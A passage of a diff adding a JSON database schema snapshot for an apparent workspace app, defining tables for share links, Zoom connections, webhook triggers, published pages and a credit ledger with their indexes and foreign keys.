"default": "'MEMBER'" + }, + "custom_role_id": { + "name": "custom_role_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "is_active": { + "name": "is_active", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "use_count": { + "name": "use_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "suspended_by_policy": { + "name": "suspended_by_policy", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_share_links_drive_id_idx": { + "name": "drive_share_links_drive_id_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_share_links_suspended_by_policy_idx": { + "name": "drive_share_links_suspended_by_policy_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"drive_share_links\".\"suspended_by_policy\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_share_links_expires_at_idx": { + "name": "drive_share_links_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_share_links_is_active_idx": { + "name": "drive_share_links_is_active_idx", + "columns": [ + { + "expression": "is_active", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_share_links_custom_role_id_idx": { + "name": "drive_share_links_custom_role_id_idx", + "columns": [ + { + "expression": "custom_role_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_share_links_drive_id_drives_id_fk": { + "name": "drive_share_links_drive_id_drives_id_fk", + "tableFrom": "drive_share_links", + "tableTo": "drives", + "columnsFrom": [ + "drive_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_share_links_custom_role_id_drive_roles_id_fk": { + "name": "drive_share_links_custom_role_id_drive_roles_id_fk", + "tableFrom": "drive_share_links", + "tableTo": "drive_roles", + "columnsFrom": [ + "custom_role_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "drive_share_links_created_by_users_id_fk": { + "name": "drive_share_links_created_by_users_id_fk", + "tableFrom": "drive_share_links", + "tableTo": "users", + "columnsFrom": [ + "created_by" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "drive_share_links_token_unique": { + "name": "drive_share_links_token_unique", + "nullsNotDistinct": false, + "columns": [ + "token" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.page_share_links": { + "name": "page_share_links", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "page_id": { + "name": "page_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "token": { + "name": "token", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "permissions": { + "name": "permissions", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "is_active": { + "name": "is_active", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "use_count": { + "name": "use_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "suspended_by_policy": { + "name": "suspended_by_policy", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "page_share_links_page_id_idx": { + "name": "page_share_links_page_id_idx", + "columns": [ + { + "expression": "page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "page_share_links_suspended_by_policy_idx": { + "name": "page_share_links_suspended_by_policy_idx", + "columns": [ + { + "expression": "page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"page_share_links\".\"suspended_by_policy\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "page_share_links_expires_at_idx": { + "name": "page_share_links_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "page_share_links_is_active_idx": { + "name": "page_share_links_is_active_idx", + "columns": [ + { + "expression": "is_active", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "page_share_links_page_id_pages_id_fk": { + "name": "page_share_links_page_id_pages_id_fk", + "tableFrom": "page_share_links", + "tableTo": "pages", + "columnsFrom": [ + "page_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "page_share_links_created_by_users_id_fk": { + "name": "page_share_links_created_by_users_id_fk", + "tableFrom": "page_share_links", + "tableTo": "users", + "columnsFrom": [ + "created_by" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "page_share_links_token_unique": { + "name": "page_share_links_token_unique", + "nullsNotDistinct": false, + "columns": [ + "token" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.zoom_connections": { + "name": "zoom_connections", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "accessToken": { + "name": "accessToken", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "refreshToken": { + "name": "refreshToken", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tokenExpiresAt": { + "name": "tokenExpiresAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "zoomUserId": { + "name": "zoomUserId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "zoomAccountId": { + "name": "zoomAccountId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "zoomEmail": { + "name": "zoomEmail", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "ZoomConnectionStatus", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "targetDriveId": { + "name": "targetDriveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "targetFolderId": { + "name": "targetFolderId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "scopeVersion": { + "name": "scopeVersion", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "includeAiSummary": { + "name": "includeAiSummary", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "includeActionItems": { + "name": "includeActionItems", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "includeTranscript": { + "name": "includeTranscript", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "zoom_connections_user_id_idx": { + "name": "zoom_connections_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "zoom_connections_status_idx": { + "name": "zoom_connections_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "zoom_connections_account_id_idx": { + "name": "zoom_connections_account_id_idx", + "columns": [ + { + "expression": "zoomAccountId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "zoom_connections_target_drive_id_idx": { + "name": "zoom_connections_target_drive_id_idx", + "columns": [ + { + "expression": "targetDriveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "zoom_connections_userId_users_id_fk": { + "name": "zoom_connections_userId_users_id_fk", + "tableFrom": "zoom_connections", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "zoom_connections_targetDriveId_drives_id_fk": { + "name": "zoom_connections_targetDriveId_drives_id_fk", + "tableFrom": "zoom_connections", + "tableTo": "drives", + "columnsFrom": [ + "targetDriveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "zoom_connections_userId_unique": { + "name": "zoom_connections_userId_unique", + "nullsNotDistinct": false, + "columns": [ + "userId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.webhook_triggers": { + "name": "webhook_triggers", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workflowId": { + "name": "workflowId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "connectionId": { + "name": "connectionId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "pageWebhookId": { + "name": "pageWebhookId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "eventType": { + "name": "eventType", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "isEnabled": { + "name": "isEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "lastFiredAt": { + "name": "lastFiredAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastFireError": { + "name": "lastFireError", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "webhook_triggers_workflow_id_idx": { + "name": "webhook_triggers_workflow_id_idx", + "columns": [ + { + "expression": "workflowId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "webhook_triggers_provider_event_idx": { + "name": "webhook_triggers_provider_event_idx", + "columns": [ + { + "expression": "provider", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "eventType", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "isEnabled", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "webhook_triggers_connection_id_idx": { + "name": "webhook_triggers_connection_id_idx", + "columns": [ + { + "expression": "connectionId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "webhook_triggers_page_webhook_id_idx": { + "name": "webhook_triggers_page_webhook_id_idx", + "columns": [ + { + "expression": "pageWebhookId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "webhook_triggers_page_webhook_workflow_unique": { + "name": "webhook_triggers_page_webhook_workflow_unique", + "columns": [ + { + "expression": "pageWebhookId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "workflowId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"webhook_triggers\".\"pageWebhookId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "webhook_triggers_workflowId_workflows_id_fk": { + "name": "webhook_triggers_workflowId_workflows_id_fk", + "tableFrom": "webhook_triggers", + "tableTo": "workflows", + "columnsFrom": [ + "workflowId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "webhook_triggers_connectionId_zoom_connections_id_fk": { + "name": "webhook_triggers_connectionId_zoom_connections_id_fk", + "tableFrom": "webhook_triggers", + "tableTo": "zoom_connections", + "columnsFrom": [ + "connectionId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "webhook_triggers_pageWebhookId_page_webhooks_id_fk": { + "name": "webhook_triggers_pageWebhookId_page_webhooks_id_fk", + "tableFrom": "webhook_triggers", + "tableTo": "page_webhooks", + "columnsFrom": [ + "pageWebhookId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "webhook_triggers_connection_workflow_event_unique": { + "name": "webhook_triggers_connection_workflow_event_unique", + "nullsNotDistinct": false, + "columns": [ + "connectionId", + "workflowId", + "eventType" + ] + } + }, + "policies": {}, + "checkConstraints": { + "webhook_triggers_anchor_chk": { + "name": "webhook_triggers_anchor_chk", + "value": "(\"webhook_triggers\".\"connectionId\" IS NOT NULL AND \"webhook_triggers\".\"pageWebhookId\" IS NULL) OR (\"webhook_triggers\".\"connectionId\" IS NULL AND \"webhook_triggers\".\"pageWebhookId\" IS NOT NULL)" + } + }, + "isRLSEnabled": false + }, + "public.message_drafts": { + "name": "message_drafts", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "contextKey": { + "name": "contextKey", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "content": { + "name": "content", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "message_drafts_user_context_key": { + "name": "message_drafts_user_context_key", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "contextKey", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "message_drafts_expires_at_idx": { + "name": "message_drafts_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "message_drafts_userId_users_id_fk": { + "name": "message_drafts_userId_users_id_fk", + "tableFrom": "message_drafts", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.published_pages": { + "name": "published_pages", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "page_id": { + "name": "page_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "path": { + "name": "path", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "artifact_key": { + "name": "artifact_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "publish_title": { + "name": "publish_title", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "publish_description": { + "name": "publish_description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "publish_og_image_url": { + "name": "publish_og_image_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "noindex": { + "name": "noindex", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "theme_bridge_enabled": { + "name": "theme_bridge_enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "suspended_by_policy": { + "name": "suspended_by_policy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "published_by": { + "name": "published_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "published_at": { + "name": "published_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "published_pages_drive_id_idx": { + "name": "published_pages_drive_id_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "published_pages_suspended_by_policy_idx": { + "name": "published_pages_suspended_by_policy_idx", + "columns": [ + { + "expression": "drive_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"published_pages\".\"suspended_by_policy\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "published_pages_page_id_idx": { + "name": "published_pages_page_id_idx", + "columns": [ + { + "expression": "page_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "published_pages_drive_id_drives_id_fk": { + "name": "published_pages_drive_id_drives_id_fk", + "tableFrom": "published_pages", + "tableTo": "drives", + "columnsFrom": [ + "drive_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "published_pages_page_id_pages_id_fk": { + "name": "published_pages_page_id_pages_id_fk", + "tableFrom": "published_pages", + "tableTo": "pages", + "columnsFrom": [ + "page_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "published_pages_published_by_users_id_fk": { + "name": "published_pages_published_by_users_id_fk", + "tableFrom": "published_pages", + "tableTo": "users", + "columnsFrom": [ + "published_by" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "published_pages_page_id_key": { + "name": "published_pages_page_id_key", + "nullsNotDistinct": false, + "columns": [ + "page_id" + ] + }, + "published_pages_drive_id_path_key": { + "name": "published_pages_drive_id_path_key", + "nullsNotDistinct": false, + "columns": [ + "drive_id", + "path" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.billing_epochs": { + "name": "billing_epochs", + "schema": "", + "columns": { + "key": { + "name": "key", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "startedAt": { + "name": "startedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.credit_holds": { + "name": "credit_holds", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "walletId": { + "name": "walletId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "fallbackFromWalletId": { + "name": "fallbackFromWalletId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "estCents": { + "name": "estCents", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "aiUsageLogId": { + "name": "aiUsageLogId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "spendKind": { + "name": "spendKind", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'ai'" + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "credit_holds_user_idx": { + "name": "credit_holds_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credit_holds_wallet_idx": { + "name": "credit_holds_wallet_idx", + "columns": [ + { + "expression": "walletId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credit_holds_expires_idx": { + "name": "credit_holds_expires_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "credit_holds_userId_users_id_fk": { + "name": "credit_holds_userId_users_id_fk", + "tableFrom": "credit_holds", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "credit_holds_walletId_wallets_id_fk": { + "name": "credit_holds_walletId_wallets_id_fk", + "tableFrom": "credit_holds", + "tableTo": "wallets", + "columnsFrom": [ + "walletId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "credit_holds_fallbackFromWalletId_wallets_id_fk": { + "name": "credit_holds_fallbackFromWalletId_wallets_id_fk", + "tableFrom": "credit_holds", + "tableTo": "wallets", + "columnsFrom": [ + "fallbackFromWalletId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "credit_holds_est_cents_nonneg": { + "name": "credit_holds_est_cents_nonneg", + "value": "\"credit_holds\".\"estCents\" >= 0" + } + }, + "isRLSEnabled": false + }, + "public.credit_ledger": { + "name": "credit_ledger", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "walletId": { + "name": "walletId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "entryType": { + "name": "entryType", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "bucket": { + "name": "bucket", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "amountCents": { + "name": "amountCents", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "appliedCents": { + "name": "appliedCents", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "chargeMillicents": { + "name": "chargeMillicents", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "aiUsageLogId": { + "name": "aiUsageLogId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "realCostCents": { + "name": "realCostCents", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "markupBps": { + "name": "markupBps", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 15000 + }, + "stripeRef": { + "name": "stripeRef", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "paidCents": { + "name": "paidCents", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "consumeStatus": { + "name": "consumeStatus", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "consumeError": { + "name": "consumeError", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "reconcileGenerationKey": { + "name": "reconcileGenerationKey", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "spendKind": { + "name": "spendKind", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'ai'" + }, + "fallbackFromWalletId": { + "name": "fallbackFromWalletId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "automationRef": { + "name": "automationRef", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "credit_ledger_user_idx": { + "name": "credit_ledger_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credit_ledger_wallet_idx": { + "name": "credit_ledger_wallet_idx", + "columns": [ + { + "expression": "walletId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credit_ledger_usage_log_unique": { + "name": "credit_ledger_usage_log_unique", + "columns": [ + { + "expression": "aiUsageLogId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"credit_ledger\".\"aiUsageLogId\" IS NOT NULL AND \"credit_ledger\".\"entryType\" = 'usage'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "credit_ledger_stripe_ref_unique": { + "name": "credit_ledger_stripe_ref_unique", + "columns": [ + { + "expression": "stripeRef", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"credit_ledger\".\"stripeRef\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "credit_ledger_reconcile_key_unique": { + "name": "credit_ledger_reconcile_key_unique", + "columns": [ + { + "expression": "reconcileGenerationKey", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"credit_ledger\".\"reconcileGenerationKey\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "credit_ledger_consume_status_idx": { + "name": "credit_ledger_consume_status_idx", + "columns": [ + { + "expression": "consumeStatus", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "credit_ledger_userId_users_id_fk": { + "name": "credit_ledger_userId_users_id_fk", + "tableFrom": "credit_ledger", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "credit_ledger_walletId_wallets_id_fk": { + "name": "credit_ledger_walletId_wallets_id_fk", + "tableFrom": "credit_ledger", + "tableTo": "wallets", + "columnsFrom": [ + "walletId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "credit_ledger_fallbackFromWalletId_wallets_id_fk": { + "name": "credit_ledger_fallbackFromWalletId_wallets_id_fk", + "tableFrom": "credit_ledger", + "tableTo": "wallets", + "columnsFrom": [ + "fallbackFromWalletId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.automation_skip_notices": { + "name": "automation_skip_notices", + "schema": "", + "columns": { + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "lastNotifiedAt": { + "name": "lastNotifiedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": {}, + "foreignKeys": { + "automation_skip_notices_driveId_drives_id_fk": { + "name": "automation_skip_notices_driveId_drives_id_fk", + "tableFrom": "automation_skip_notices", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_spend_overrides": { + "name": "drive_spend_overrides", + "schema": "", + "columns": { + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": { + "drive_spend_overrides_userId_users_id_fk": { + "name": "drive_spend_overrides_userId_users_id_fk", + "tableFrom": "drive_spend_overrides", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_spend_overrides_driveId_drives_id_fk": { + "name": "drive_spend_overrides_driveId_drives_id_fk", + "tableFrom": "drive_spend_overrides", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "drive_spend_overrides_pkey": { + "name": "drive_spend_overrides_pkey", + "columns": [ + "userId", + "driveId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.wallet_cap_alerts": { + "name": "wallet_cap_alerts", + "schema": "", + "columns": { + "walletId": { + "name": "walletId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "consumerKey": { + "name": "consumerKey", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "capWindow": { + "name": "capWindow", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "periodStart": { + "name": "periodStart", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "threshold": { + "name": "threshold", + "type": 